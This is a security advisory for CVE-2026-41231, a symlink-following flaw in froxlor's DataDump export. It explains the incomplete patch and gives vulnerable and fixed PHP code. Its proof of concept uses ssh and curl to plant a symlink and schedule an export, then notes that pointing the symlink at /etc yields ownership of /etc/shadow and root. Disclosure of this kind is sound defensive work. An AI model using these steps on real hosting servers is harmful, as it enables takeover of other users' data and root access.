CVE-2026-41231

Description

## Summary `DataDump.add()` constructs the export destination path from user-supplied input without passing the `$fixed_homedir` parameter to `FileDir::makeCorrectDir()`, bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes `chown -R` on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system. ## Details The vulnerability is an incomplete patch. After CVE-2023-6069, symlink validation was added to `FileDir::makeCorrectDir()` via a `$fixed_homedir` parameter. When provided, it walks each path component checking for symlinks that escape the customer's home directory (lines 134-157 of `lib/Froxlor/FileDir.php`). Every customer-facing API command that builds a path from user input passes this parameter: ```php // DirProtections.php:87 $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']); // DirOptions.php:96 $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']); // Ftps.php:178 $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']); // SubDomains.php:585 return FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']); ``` But `DataDump.add()` was missed: ```php // DataDump.php:88 — NO $fixed_homedir parameter $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path); ``` The path flows unvalidated into a cron task (`lib/Froxlor/Api/Commands/DataDump.php:133`): ```php Cronjob::inserttask(TaskId::CREATE_CUSTOMER_DATADUMP, $task_data); ``` When `ExportCron::handle()` runs as root, it executes at `lib/Froxlor/Cron/System/ExportCron.php:232`: ```php FileDir::safe_exec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir'])); ``` The `chown -R` command follows symlinks in its target argument. If `$data['destdir']` resolves through a symlink to an arbitrary directory, the attacker's UID/GID is applied recursively to that directory and all its contents. The `Validate::validate()` call on line 86 uses an empty pattern, which falls back to `/^[^\r\n\t\f\0]*$/D` — this only strips control characters and does not prevent symlink names. `makeSecurePath()` strips shell metacharacters and `..` traversal but does not check for symlinks. ## PoC Prerequisites: - `system.exportenabled` = 1 (admin setting) - Customer account with API key and FTP/SSH access ```bash # Step 1: Create a symlink inside the customer's docroot pointing to a victim directory # (customer has FTP/SSH access to their own docroot) ssh customer@server 'ln -s /var/customers/webs/victim_customer /var/customers/webs/attacker_customer/steal' # Step 2: Schedule data export via API with path pointing to the symlink curl -X POST \ -H "Content-Type: application/json" \ -d '{"header":{"apikey":"CUSTOMER_API_KEY","secret":"CUSTOMER_API_SECRET"},"body":{"command":"DataDump.add","params":{"path":"steal","dump_web":"1"}}}' \ https://panel.example.com/api.php # Expected response: 200 OK with task_data including destdir # Step 3: Wait for ExportCron to run (hourly cron as root) # The cron executes: # mkdir -p '/var/customers/webs/attacker_customer/steal/' (follows symlink, dir exists) # tar cfz ... -C /var/customers/webs/attacker_customer/ . (tars attacker's web data) # chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/.tmp/' # mv export.tar.gz '/var/customers/webs/attacker_customer/steal/' # chown -R <attacker_uid>:<attacker_gid> '/var/customers/webs/attacker_customer/steal/' # # The final chown resolves the symlink and recursively chowns # /var/customers/webs/victim_customer/ to the attacker's UID/GID. # Step 4: Attacker now owns all of victim's web files ssh customer@server 'ls -la /var/customers/webs/victim_customer/' # All files now owned by attacker_customer UID # For system-level escalation, the symlink can target /etc: # ln -s /etc /var/customers/webs/attacker_customer/steal # After cron: attacker owns /etc/passwd, /etc/shadow → root shell ``` ## Impact - **Horizontal privilege escalation:** A customer can take ownership of any other customer's web files, databases exports, and email data on the same server. - **Vertical privilege escalation:** By targeting system directories (e.g., `/etc`), the customer can gain read/write access to `/etc/passwd` and `/etc/shadow`, enabling creation of a root account or password modification. - **Data breach:** Full read access to all files in the targeted directory tree, including configuration files with database credentials, application secrets, and user data. - **Service disruption:** Changing ownership of system directories can break system services. The attack requires only a single API call and a symlink. The impact is delayed until the next cron run (typically hourly), making it harder to attribute. ## Recommended Fix Pass `$customer['documentroot']` as the `$fixed_homedir` parameter in `DataDump.add()`, consistent with every other API command: ```php // lib/Froxlor/Api/Commands/DataDump.php, line 88 // Before (vulnerable): $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path); // After (fixed): $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']); ``` Additionally, the `ExportCron` should use `chown -h` (no-dereference) or validate the destination path is not a symlink before executing `chown -R`: ```php // lib/Froxlor/Cron/System/ExportCron.php, line 232 // Add symlink check before chown if (is_link(rtrim($data['destdir'], '/'))) { $cronlog->logAction(FroxlorLogger::CRON_ACTION, LOG_ERR, 'Export destination is a symlink, skipping chown for security: ' . $data['destdir']); } else { FileDir::safe_exec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir'])); } ```

Affected packages (1)

• Packagist/froxlor/froxlorfrom 0, < 2.3.6

CVSS scores

References (5)

• ADVISORYhttps://nvd.nist.gov/vuln/detail/CVE-2026-41231
• PATCHhttps://github.com/froxlor/froxlor
• WEBhttps://github.com/froxlor/froxlor/commit/2987b0e8806ef12b532410050ad76d13d673a87d
• WEBhttps://github.com/froxlor/froxlor/releases/tag/2.3.6
• WEBhttps://github.com/froxlor/froxlor/security/advisories/GHSA-75h4-c557-j89r